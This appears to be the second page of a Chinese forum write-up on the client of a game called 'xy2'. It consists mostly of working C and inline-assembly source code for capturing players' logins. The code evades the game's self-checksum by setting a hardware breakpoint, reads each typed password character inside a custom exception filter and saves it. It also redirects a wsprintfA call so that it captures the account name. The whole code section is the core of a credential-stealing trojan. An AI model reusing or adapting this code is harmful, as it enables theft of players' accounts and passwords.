从上倒下我们都在使用硬件断点,而且都很有效。为什么 tmd 没有清 dr 呢?如果我可以设置硬件断点在004261C0 处,就不可以了吗。很黄很暴力就这样,首先检查这段密码处理属于哪个线程,通过在调试器下修改他的代码,确认是主线程。下面只贴部分代码
////////////////////////////////////////////////////////////////////////////
// patch 密码处理部分
BOOL Patch_4261C0()
{
/*
004261B5 |. /7E 20 jle short 004261D7
004261B7 |. |8B8B D0100000 mov ecx, dword ptr [ebx+10D0]
004261BD |. |8D49 00 lea ecx, dword ptr [ecx]
004261C0 |> |80BC04 900000>/cmp byte ptr [esp+eax+90], 20 // src -->
password
004261C8 |. |7D 01 |jge short 004261CB
004261CA |. |40 |inc eax
004261CB |> |41 |inc ecx
004261CC |. |40 |inc eax
004261CD |. |3BC6 |cmp eax, esi // esi --> password length
004261CF |.^|7C EF \jl short 004261C0
004261D1 |. |898B D0100000 mov dword ptr [ebx+10D0], ecx
004261D7 |> \8BBB F0110000 mov edi, dword ptr [ebx+11F0]
*/
// xy2 会循环的校验这段代码,所以不能直接 patch
// 这里利用 调试 寄存器
//
// 自校验代码在 0x45e170, 这段自校验代码时有效时无效
// ebx --> 0x426040 校验地址
// edi --> 0x200 校验长度
// 校验 0x45e170 的校验代码在 74ba2e, -_##
__xy2_patch_Pwd = SearchSign((LPBYTE)0x420000, 0x10000,
"8D490080BC0490000000207D014041403BC67CEF898BD0100000";
if ( __xy2_patch_Pwd != NULL )
{
LOGOUT("Patch_4261C0: 成功定位特征地址 %08X!\n", __xy2_patch_Pwd);
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, __dwMainThreadId);
if ( hThread != NULL )
{
LOGOUT("Patch_4261C0: OpenThread 成功\n";
// 设置未处理异常过滤函数
__OrgUnhandledExceptionFilter =
SetUnhandledExceptionFilter(MyUnhandledExceptionFilter);
LOGOUT("Patch_4261C0: __OrgUnhandledExceptionFilter = %08X\n",
__OrgUnhandledExceptionFilter);
// 下“硬件断点”
CONTEXT ct;
memset(&ct, 0, sizeof (ct));
ct.ContextFlags = CONTEXT86_DEBUG_REGISTERS;
ct.Dr1 = (DWORD)__xy2_patch_Pwd;
ct.Dr7 = 0x405;
SetThreadContext(hThread, &ct);
CloseHandle(hThread);
return TRUE;
}
}
else
{
LOGOUT("Patch_479E7B: 定位特征地址失败!\n";
}
return FALSE;
}
// 未处理异常过滤
LONG
WINAPI
MyUnhandledExceptionFilter(
IN struct _EXCEPTION_POINTERS *ExceptionInfo
)
{
LOGOUT(
"MyUnhandledExceptionFilter: 捕获一个未处理异常 CODE = %08X, ADDR =
%08X!\n",
ExceptionInfo->ExceptionRecord->ExceptionCode,
ExceptionInfo->ExceptionRecord->ExceptionAddress
);
if (
ExceptionInfo->ExceptionRecord->ExceptionCode == 0x80000004 &&
ExceptionInfo->ExceptionRecord->ExceptionAddress == __xy2_patch_Pwd
)
{
// 004261BD |. |8D49 00 lea ecx, dword ptr [ecx]
// 004261C0 |> /80BC04 900000>/cmp byte ptr [esp+eax+90], 20
CHAR c = *(PCHAR)(ExceptionInfo->ContextRecord->Esp +
ExceptionInfo->ContextRecord->Eax + 0x90); // 取出新的输入字符
ExceptionInfo->ContextRecord->Eip += 3; // 下调指令
static int i = 0;
SavePassword(i++, c); // 保存密码
return EXCEPTION_CONTINUE_EXECUTION;
}
return __OrgUnhandledExceptionFilter(ExceptionInfo);
}
////////////////////////////////////////////////////////////////////////////
// patch 用户名处理部分
void NAKED Proxy_479E7B()
{
__asm
{
mov eax, dword ptr [esp + 8]
cmp dword ptr [eax], 's%'
jnz __ret
mov ecx, dword ptr [esp + 4]
call SaveName
__ret:
mov eax, wvsprintfA
jmp eax
}
}
BOOL Patch_479E7B()
{
/*
00479E75 . 52 push edx
00479E76 . 51 push ecx
00479E77 . 50 push eax
00479E78 . 8906 mov dword ptr [esi], eax // eax --> Name
00479E7A . 90 nop
00479E7B E8 90078A77 call 77D1A610 // wsprintfA
00479E80 ? 8B0E mov ecx, dword ptr [esi]
00479E82 . 8A11 mov dl, byte ptr [ecx]
00479E84 . 33C0 xor eax, eax
00479E86 . 84D2 test dl, dl
00479E88 . 74 0F je short 00479E99
00479E8A . 8BD1 mov edx, ecx
*/
__xy2_patch_Name = SearchSign((LPBYTE)0x00470000, 0x10000,
"525150890690E8????????8B0E8A11";
if ( __xy2_patch_Name != NULL )
{
__xy2_patch_Name += 7;
LOGOUT("Patch_479E7B: 成功定位特征地址 %08X!\n", __xy2_patch_Name);
// 修改call 77D1A610 为 call Proxy_479E7B
DWORD dwOffset = (DWORD)Proxy_479E7B - (DWORD)__xy2_patch_Name - 4;
DWORD dwBytes = WriteMemory(__xy2_patch_Name, &dwOffset, 4);
if ( dwBytes == 4 )
{
LOGOUT("Patch_479E7B: 成功 Patch!\n";
return TRUE;
}
}
else
{
LOGOUT("Patch_479E7B: 定位特征地址失败!\n";
}
return FALSE;
}
到此结束。最后感谢一下 aker & forgot.
上一页 [1] [2]